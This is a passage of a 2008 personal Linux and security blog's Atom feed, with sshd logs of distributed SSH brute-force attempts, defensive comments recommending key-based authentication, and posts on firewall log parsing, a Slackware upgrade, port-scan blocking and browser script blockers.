85.39.252.226&lt;br /&gt;Nov 23 15:34:40 delly sshd[67985]: error: PAM: authentication error for illegal user arvin from host226-252-static.39-85-b.business.telecomitalia.it&lt;br /&gt;Nov 23 15:34:40 delly sshd[67985]: Failed keyboard-interactive/pam for invalid user arvin from 85.39.252.226 port 43706 ssh2&lt;br /&gt;Nov 23 15:35:54 delly sshd[67991]: Invalid user arvin from 217.126.90.161&lt;br /&gt;Nov 23 15:35:55 delly sshd[67991]: error: PAM: authentication error for illegal user arvin from 161.red-217-126-90.staticip.rima-tde.net&lt;br /&gt;Nov 23 15:35:55 delly sshd[67991]: Failed keyboard-interactive/pam for invalid user arvin from 217.126.90.161 port 36755 ssh2&lt;br /&gt;Nov 23 15:37:11 delly sshd[67994]: Invalid user arvin from 200.232.181.40&lt;br /&gt;Nov 23 15:37:11 delly sshd[67994]: error: PAM: authentication error for illegal user arvin from 200-232-181-40.dsl.telesp.net.br&lt;br /&gt;Nov 23 15:37:11 delly sshd[67994]: Failed keyboard-interactive/pam for invalid user arvin from 200.232.181.40 port 56318 ssh2&lt;br /&gt;Nov 23 15:39:16 delly sshd[67997]: Invalid user arwan from 200.248.82.130&lt;br /&gt;Nov 23 15:39:17 delly sshd[67997]: error: PAM: authentication error for illegal user arwan from 200.248.82.130&lt;br /&gt;Nov 23 15:39:17 delly sshd[67997]: Failed keyboard-interactive/pam for invalid user arwan from 200.248.82.130 port 53388 ssh2&lt;br /&gt;Nov 23 15:40:24 delly sshd[68003]: Invalid user arwan from 217.126.90.161&lt;br /&gt;Nov 23 15:40:25 delly sshd[68003]: error: PAM: authentication error for illegal user arwan from 161.red-217-126-90.staticip.rima-tde.net&lt;br /&gt;Nov 23 15:40:25 delly sshd[68003]: Failed keyboard-interactive/pam for invalid user arwan from 217.126.90.161 port 43871 ssh2&lt;br /&gt;Nov 23 15:41:33 delly sshd[68006]: Invalid user arwen from 200.209.6.130&lt;br /&gt;Nov 23 15:41:34 delly sshd[68006]: error: PAM: authentication error for illegal user arwen from 200.209.6.130&lt;br /&gt;Nov 23 15:41:34 delly sshd[68006]: Failed keyboard-interactive/pam for invalid user arwen from 200.209.6.130 port 14808 ssh2&lt;br /&gt;Nov 23 15:42:48 delly sshd[68016]: Invalid user arwen from 123.14.10.64&lt;br /&gt;Nov 23 15:42:49 delly sshd[68016]: error: PAM: authentication error for illegal user arwen from 123.14.10.64&lt;br /&gt;Nov 23 15:42:49 delly sshd[68016]: Failed keyboard-interactive/pam for invalid user arwen from 123.14.10.64 port 7600 ssh2&lt;br /&gt;Nov 23 15:43:50 delly sshd[68020]: reverse mapping checking getaddrinfo for techregister.worcesteracademy.org [68.112.227.30] failed - POSSIBLE BREAK-IN ATTEMPT!&lt;br /&gt;Nov 23 15:43:50 delly sshd[68020]: Invalid user arwen from 68.112.227.30&lt;br /&gt;Nov 23 15:43:50 delly sshd[68020]: error: PAM: authentication error for illegal user arwen from 68.112.227.30&lt;br /&gt;Nov 23 15:43:50 delly sshd[68020]: Failed keyboard-interactive/pam for invalid user arwen from 68.112.227.30 port 38273 ssh2&lt;br /&gt;Nov 23 15:45:03 delly sshd[68039]: Invalid user arya from 196.28.50.162&lt;br /&gt;Nov 23 15:45:03 delly sshd[68039]: error: PAM: authentication error for illegal user arya from www.cfse.gov.pr&lt;br /&gt;Nov 23 15:45:03 delly sshd[68039]: Failed keyboard-interactive/pam for invalid user arya from 196.28.50.162 port 55647 ssh2&lt;br /&gt;Nov 23 15:46:10 delly sshd[68042]: Invalid user arya from 81.12.221.74&lt;br /&gt;Nov 23 15:46:10 delly sshd[68042]: error: PAM: authentication error for illegal user arya from em.asiban.ro&lt;br /&gt;Nov 23 15:46:10 delly sshd[68042]: Failed keyboard-interactive/pam for invalid user arya from 81.12.221.74 port 16653 ssh2&lt;br /&gt;Nov 23 15:47:23 delly sshd[68050]: Invalid user arya from 190.34.148.178&lt;br /&gt;Nov 23 15:47:23 delly sshd[68050]: error: PAM: authentication error for illegal user arya from 190.34.148.178&lt;br /&gt;Nov 23 15:47:23 delly sshd[68050]: Failed keyboard-interactive/pam for invalid user arya from 190.34.148.178 port 58738 ssh2&lt;br /&gt;Nov 23 15:48:29 delly sshd[68053]: reverse mapping checking getaddrinfo for britannic-iss-medidean-working.e1-4-0-0-57.0.ar2.lon3.gblx.net [64.213.54.106] failed - POSSIBLE BREAK-IN ATTEMPT!&lt;br /&gt;Nov 23 15:48:29 delly sshd[68053]: Invalid user asa from 64.213.54.106&lt;br /&gt;Nov 23 15:48:29 delly sshd[68053]: error: PAM: authentication error for illegal user asa from 64.213.54.106&lt;br /&gt;Nov 23 15:48:29 delly sshd[68053]: Failed keyboard-interactive/pam for invalid user asa from 64.213.54.106 port 42991 ssh2&lt;br /&gt;Nov 23 15:49:46 delly sshd[68056]: Invalid user asa from 91.135.200.86&lt;br /&gt;Nov 23 15:49:47 delly sshd[68056]: error: PAM: authentication error for illegal user asa from 91.135.200.86&lt;br /&gt;Nov 23 15:49:47 delly sshd[68056]: Failed keyboard-interactive/pam for invalid user asa from 91.135.200.86 port 10262 ssh2&lt;br /&gt;Nov 23 15:50:52 delly sshd[68062]: Invalid user asa from 200.20.187.222&lt;br /&gt;Nov 23 15:50:53 delly sshd[68062]: error: PAM: authentication error for illegal user asa from 200.20.187.222&lt;br /&gt;Nov 23 15:50:53 delly sshd[68062]: Failed keyboard-interactive/pam for invalid user asa from 200.20.187.222 port 52959 ssh2&lt;br /&gt;&lt;br /&gt;Don't focus on the attacking IPs, but look at the referenced users.  There are now tools that look like they're scaling attacks on a listing of common logins (or maybe even dictionary attacks) so that there's less risk of detection.  There are current tools that look for attacks in a thresholded manner (example: 4 attacks in 5 sec warrants a block of that attacking IP).  This new method of attack will not trigger the thresholding blocks.&lt;br /&gt;&lt;br /&gt;More than ever, SSH key-based authentication should be used.  This will prevent a successful login when under attack via brute forcing methods.&lt;br /&gt;&lt;br /&gt;I can already see attack detection tools being adjusted to focus on tracking user accounts being bruteforced and banning all IPs that try to access user accounts based on time (example:  4 attacks on account asa in 5 sec will warrant a ban of all subsequent IPs for the next day or so...and not block if the IP is listed within a whitelist).&lt;br /&gt;&lt;br /&gt;Your thoughts?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2094458305626098931?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2094458305626098931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2094458305626098931' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2094458305626098931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2094458305626098931'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/11/distributed-ssh-brute-force-attempts.html' title='Distributed SSH Brute Force Attempts?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8732707408878896308</id><published>2008-09-23T14:19:00.001-04:00</published><updated>2009-03-10T19:04:43.074-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Asus'/><category scheme='http://www.blogger.com/atom/ns#' term='software cracker'/><title type='text'>Asus ships software cracker on recovery DVD</title><content type='html'>&lt;a href="http://www.pcpro.co.uk/news/224892/asus-ships-software-cracker-on-recovery-dvd.html"&gt;Asus ships software cracker on recovery DVD:&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Asus is accidentally shipping software crackers and confidential documents on the recovery DVDs that come with its laptops.&lt;br /&gt;&lt;br /&gt;The startling discovery was made by a PC Pro reader whose antivirus software was triggered by a key cracker for the WinRAR compression software, which was located on the recovery DVD for his Asus laptop.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8732707408878896308?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8732707408878896308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8732707408878896308' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8732707408878896308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8732707408878896308'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/09/asus-ships-software-cracker-on-recovery.html' title='Asus ships software cracker on recovery DVD'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3825492064097632454</id><published>2008-07-08T23:04:00.001-04:00</published><updated>2009-03-10T19:08:27.146-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='BASH'/><category scheme='http://www.blogger.com/atom/ns#' term='IPTables'/><title type='text'>Script that parses FW logs?</title><content type='html'>What I'm trying to do now is create a script that will parse FW logs daily and break down how many entries each IP generated.&lt;br /&gt;&lt;br /&gt;I want to do this first as a quick command, then leverage BASH scripting to automate this.&lt;br /&gt;&lt;br /&gt;What I used in &lt;a href="http://slackfiles.blogspot.com/2007/12/modsecurity-again.html"&gt;http://slackfiles.blogspot.com/2007/12/modsecurity-again.html&lt;/a&gt; apparently isn't working when trying to parse the firewall logs.  I don't get it, but then again, I'm tired.  I'll try again tomorrow.&lt;br /&gt;&lt;br /&gt;The new logs look like the below (showing in /var/log/syslog instead of /var/log/messages of my old setup):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Jul  8 22:55:19 starchild kernel: BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:fc:8b:59:08:00 SRC=64.47.32.59 DST=64.62.231.220 LEN=48 TOS=0x00 PREC=0x00 TTL=249 ID=39747 DF PROTO=TCP SPT=3405 DPT=445 WINDOW=16384 RES=0x00 SYN URGP=0 &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I may need to leverage Awk (I was close to doing this before I upgraded the server from v9.0 to v12.0).&lt;br /&gt;&lt;br /&gt;Stay tuned!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3825492064097632454?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3825492064097632454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3825492064097632454' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3825492064097632454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3825492064097632454'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/07/script-that-parses-fw-logs.html' title='Script that parses FW logs?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5559058960671480108</id><published>2008-06-22T22:56:00.001-04:00</published><updated>2009-06-06T23:56:36.977-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Linode.com'/><category scheme='http://www.blogger.com/atom/ns#' term='eggdrop'/><category scheme='http://www.blogger.com/atom/ns#' term='checkinstall'/><category scheme='http://www.blogger.com/atom/ns#' term='webmin'/><category scheme='http://www.blogger.com/atom/ns#' term='upgrade'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Linode has been upgraded to Slackware v12.0</title><content type='html'>I decided to take the plunge and upgrade my Linode server from v9.0 to v12.0.&lt;br /&gt;&lt;br /&gt;Things are semi-normal, yet I still have some things to do, such as reinstall denyhosts, a new iptables script, mnwclient, and dshieldclient.&lt;br /&gt;&lt;br /&gt;So far, I've reinstalled the eggdrop bot (slackboy), using the latest version of the software.  I've also reinstalled Apache, using v2.0.63.  Snort is running on the system (installed using my v12.0 slackpack), and also Webmin (which eases my pain somewhat, especially when administrating from work...they frown upon using SSH outbound).&lt;br /&gt;&lt;br /&gt;This verion of Slackware is barebones and I've had to manually install the following packages so far:&lt;br /&gt;&lt;br /&gt;-rw-r--r--   1 root root   122953 2006-11-01 02:50 checkinstall-1.6.1-i386-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   551952 2006-05-27 16:24 cyrus-sasl-2.1.22-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   744871 2007-05-09 14:46 fetchmail-6.3.8-i486-2.tgz&lt;br /&gt;-rw-r--r--   1 root root  2268306 2006-03-26 19:04 groff-1.19.2-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root  2088735 2007-07-01 19:12 httpd-2.2.4-i486-6.tgz&lt;br /&gt;-rw-r--r--   1 root root  1898552 2008-02-14 17:37 httpd-2.2.8-i486-1_slack12.0.tgz&lt;br /&gt;-rw-r--r--   1 root root   313616 2007-06-02 18:52 lsof-4.78-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   222760 2006-02-10 20:03 man-1.6c-i486-2.tgz&lt;br /&gt;-rw-r--r--   1 root root  1949092 2007-06-13 13:35 man-pages-2.55-noarch-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   135893 2004-02-18 05:59 metamail-2.7-i486-2.tgz&lt;br /&gt;-rw-r--r--   1 root root 16756453 2007-03-24 00:52 mysql-5.0.37-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root 16942549 2007-12-14 17:01 mysql-5.0.51-i486-1_slack12.0.tgz&lt;br /&gt;-rw-r--r--   1 root root  1483847 2007-05-07 01:15 ntp-4.2.4p0-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root  3440059 2007-06-13 13:40 openssl-0.9.8e-i486-3.tgz&lt;br /&gt;-rw-r--r--   1 root root   836941 2007-06-13 13:40 openssl-solibs-0.9.8e-i486-3.tgz&lt;br /&gt;-rw-r--r--   1 root root   143713 2006-09-19 00:11 procmail-3.22-i486-2.tgz&lt;br /&gt;-rw-r--r--   1 root root  2450931 2003-10-29 01:08 rpm-4.2.1-i486-3.tgz&lt;br /&gt;-rw-r--r--   1 root root     4603 2007-01-04 22:28 rpm2tgz-1.0-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   212764 2007-02-10 14:52 rsync-2.6.9-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root  1391679 2007-06-10 01:16 sendmail-8.14.1-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   276485 2007-06-10 01:16 sendmail-cf-8.14.1-noarch-1.tgz&lt;br /&gt;-rw-r--r--   1 root root    30270 2006-04-19 00:56 slocate-3.1-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   763394 2008-06-15 15:30 snort-2.6.1.5-i386-1.tgz&lt;br /&gt;-rw-r--r--   1 root root   137062 2006-02-06 14:00 sudo-1.6.8p12-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root  1793130 2007-06-02 19:32 tcl-8.4.15-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root    66773 2007-04-30 00:35 telnet-0.17-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root  8614263 2007-06-20 16:34 vim-7.1.012-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root  1882278 2007-06-20 16:50 vim-gvim-7.1.012-i486-1.tgz&lt;br /&gt;-rw-r--r--   1 root root 13573880 2008-05-26 00:19 webmin-1.420.tar.gz&lt;br /&gt;&lt;br /&gt;Stability-wise, the server appears to be running somewhat more efficiently than before (for instance, the CPU and memory utilizations, along with IO, appear to be less 'spiky' when looking at chart readouts.  When I shut down the server to upgrade (which is the way its done with Linode.com), I'd had 440+ days of uptime, so I can't argue about stability...it doesn't get much better than that!&lt;br /&gt;&lt;br /&gt;Sooner or later, I'm going to try backing up my latest install, then trying to upgrade to v12.1 (just because I can).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5559058960671480108?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5559058960671480108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5559058960671480108' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5559058960671480108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5559058960671480108'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/06/linode-has-been-upgraded-to-slackware.html' title='Linode has been upgraded to Slackware v12.0'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6152542583459696825</id><published>2008-06-11T18:18:00.001-04:00</published><updated>2009-06-06T23:57:32.604-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shawcable.net'/><category scheme='http://www.blogger.com/atom/ns#' term='scans'/><title type='text'>wigglit.ath.cx being bombarded with scans of port 1028/UDP</title><content type='html'>The culprit?&lt;br /&gt;&lt;br /&gt;24.64.0.0/13, or 24.64.0.0 - 24.71.255.255, which resolves to SHAWCABLE.NET&lt;br /&gt;&lt;br /&gt;There are at least 311 hosts within that range that have tried to connect to UDP port 1028 in the last few days.  This isn't really a broad scan but the pepperings of hosts every day for the last few days, each one being unique hosts that have never been logged makes it hard to establish a pattern so that I can block remote hosts that continue to scan for this port, so I've opted to initiate a broad block and keep the block in place for maybe 30 days.&lt;br /&gt;&lt;br /&gt;I'll monitor this activity and maybe alert the ISC diary if the scans continue.&lt;br /&gt;&lt;br /&gt;If you're caught up in this ban, let me know and I'll see about allowing traffic to specific hosts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6152542583459696825?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6152542583459696825/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6152542583459696825' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6152542583459696825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6152542583459696825'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/06/wigglitathcx-being-bombarded-with-scans.html' title='wigglit.ath.cx being bombarded with scans of port 1028/UDP'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-488406236383578388</id><published>2008-06-09T14:02:00.002-04:00</published><updated>2009-03-10T19:11:45.474-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metaspoit'/><title type='text'>Metaspolit hijacked?</title><content type='html'>Monday morning, Metasploit.com was temporarily hijacked using an attack on the local area network of Metasploit's hosting provider.&lt;br /&gt;&lt;br /&gt;More info &lt;a href="http://blog.wired.com/27bstroke6/2008/06/hacker-hijacks.html"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-488406236383578388?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/488406236383578388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=488406236383578388' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/488406236383578388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/488406236383578388'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/06/metaspolit-hijacked_09.html' title='Metaspolit hijacked?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-146950529132847924</id><published>2008-05-05T19:03:00.001-04:00</published><updated>2009-03-10T19:13:01.885-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phpsysinfo'/><category scheme='http://www.blogger.com/atom/ns#' term='Logitech'/><category scheme='http://www.blogger.com/atom/ns#' term='Slamd64'/><category scheme='http://www.blogger.com/atom/ns#' term='AMD'/><category scheme='http://www.blogger.com/atom/ns#' term='SATA'/><title type='text'>Slamd64</title><content type='html'>I've installed &lt;a href="http://www.slamd64.com/"&gt;Slamd64&lt;/a&gt; on my new AMD system.  Initially, I had SATA issues that have mysteriously disappeared (no idea why, other than maybe swapping out that SATA cables helped).  I installed using Disk 1 only (I didn't download anything else), which has the core system components.  I then wanted to boot X, which required me downloading the X and KDE software.  In fact, I went ahead and copied a whole mirror site and will continue to rsync the site against my local copy, using the updated local mirror as a upgrade repository.&lt;br /&gt;&lt;br /&gt;I had issues getting my mouse recognized.  I've a Logitech MX1000 wireless mouse, which is connected to a KVM.  Slamd64 detects it as a PS/2 mouse.  Slamd64 has PS/2 mice blacklisted, so I had to unblock the psmouse module from /etc/modules.d/blacklist (by uncommenting the module entry).  Then I loaded the module and rebooted.  The reboot detected the mouse.  It took me a while to find this tidbit of info (although, it was recorded on the Slamd64 forums).  I'll be adding this to my local knowledgbase (in fact, I need to add a whole Slamd64 category first).&lt;br /&gt;&lt;br /&gt;I've also installed phpsysinfo on this machine, so I can see the hardware and how it is detected by this tool.  From what I've seen so far, the second CPU core takes the brunt of the load, with the first CPU core assisting when the second is maxed out...I don't know if this is normal or a software issue (maybe phpsysinfo needs to be optimized for dual core usage?), but I only tested this by refreshing the phpsysinfo browser session (it appears to put a quick load on the system...dunno if that's normal or not).&lt;br /&gt;&lt;br /&gt;Anyways, if things go well with this distro, I'll be using this machine as my main Linux machine, eventually.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-146950529132847924?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/146950529132847924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=146950529132847924' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/146950529132847924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/146950529132847924'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/05/slamd64.html' title='Slamd64'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3238264361225865276</id><published>2008-05-03T22:48:00.001-04:00</published><updated>2009-03-10T19:14:09.545-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Slamd64'/><category scheme='http://www.blogger.com/atom/ns#' term='Arctic Cooling'/><category scheme='http://www.blogger.com/atom/ns#' term='AMD'/><category scheme='http://www.blogger.com/atom/ns#' term='Intel'/><category scheme='http://www.blogger.com/atom/ns#' term='Ultra'/><title type='text'>AMD vs. Intel Comparison</title><content type='html'>About the new AMD system I recently bought...&lt;br /&gt;&lt;br /&gt;The AMD Athlon 64 X2 4400+ rocks when compared to my Intel system, which uses a Pentium D830.  The AMD CPU is running on an Abit NF-M2SV board with 1GB of RAM.  The Intel system is running on an ECS nForce 570 SLIT-A v5.1 mainboard and 2GB of RAM.  While the Intel system outguns the AMD system, spec-wise, the AMD system is quite a bit more responsive...the whole system seems and responds like it is extremely lightweight.  Both are running XP Pro.  The AMD CPU runs 104F temps on the average, while the Intel CPU is in the 120F range...and this system has the beefier CPU fan/heatsink too!  The AMD CPU cooler is &lt;a href="http://www.venditacomputernotebook.com/images/Arctic_cooling_Freezer%2064%20LP.jpg"&gt;here&lt;/a&gt;.  It is an Arctic Cooling Freezer 64 LP.  The Intel CPU cooler is &lt;a href="http://images.tigerdirect.com/SkuImages/gallery/large/ULT-31797-a.jpg"&gt;here&lt;/a&gt; and is apparently a standard issue HSF (Intel Socket 775 Cooling Fan, although it is badged as an Ultra unit).&lt;br /&gt;&lt;br /&gt;I'm very impressed!&lt;br /&gt;&lt;br /&gt;No, I don't have any benchmark specs (you can probably find these online via Google), but this is really a seat-of-the-pants comparison.  That I noticed such a difference in this manner should speak for itself.&lt;br /&gt;&lt;br /&gt;Now, I've split the 250GB drive on the AMD system in half, to test Slamd64, an unofficial 64-bit port of Slackware (which is a 32-bit OS).  I've run into issues booting up Slamd64, though...I've been getting SATA-specific errors that hint that the hard drive is going bad (which I seriously doubt).  I think I've seen these errors before when I last installed Slackware on a SATA drive...I think I selected the wrong kernel.  I need to select a kernel specific to SATA support.  I'll work on this during the next 7 days and report my findings here.&lt;br /&gt;&lt;br /&gt;I'm seriously thinking on swapping the Intel machine for the AMD one, since the AMD machine appears more robust.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3238264361225865276?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3238264361225865276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3238264361225865276' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3238264361225865276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3238264361225865276'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/05/about-new-amd-system-i-recently-bought.html' title='AMD vs. Intel Comparison'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8490088113813229285</id><published>2008-04-28T18:14:00.001-04:00</published><updated>2009-06-26T22:10:02.046-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Firekeeper'/><category scheme='http://www.blogger.com/atom/ns#' term='Noscript'/><title type='text'>Bake-off: NoScript and Firekeeper</title><content type='html'>I decided to mention Firekeeper on the security forums at &lt;a href="http://www.linuxquestions.org"&gt;LQ.org&lt;/a&gt;.  One of the moderators there mentioned that NoScript was better at blocking malcode than Firekeeper.  In order to understand what he was talking about (I'm confused about that comment), I decided to install both to see if one can layer and leverage both of these tools.  I also wanted to see which was better at blocking and alerting on malcode in general.&lt;br /&gt;&lt;br /&gt;It appears that NoScript is specific to javascript, although it looks to detect cross-site scripting, flash, and MS' version of Flash.  It also works via whitelists and blacklists and not pattern matching (other than focusing on the word "script" and occasionally focusing on "ath.cx" (I haven't determined why it does this yet).&lt;br /&gt;&lt;br /&gt;Both tools work in conjunction with another fine, though (so far).&lt;br /&gt;&lt;br 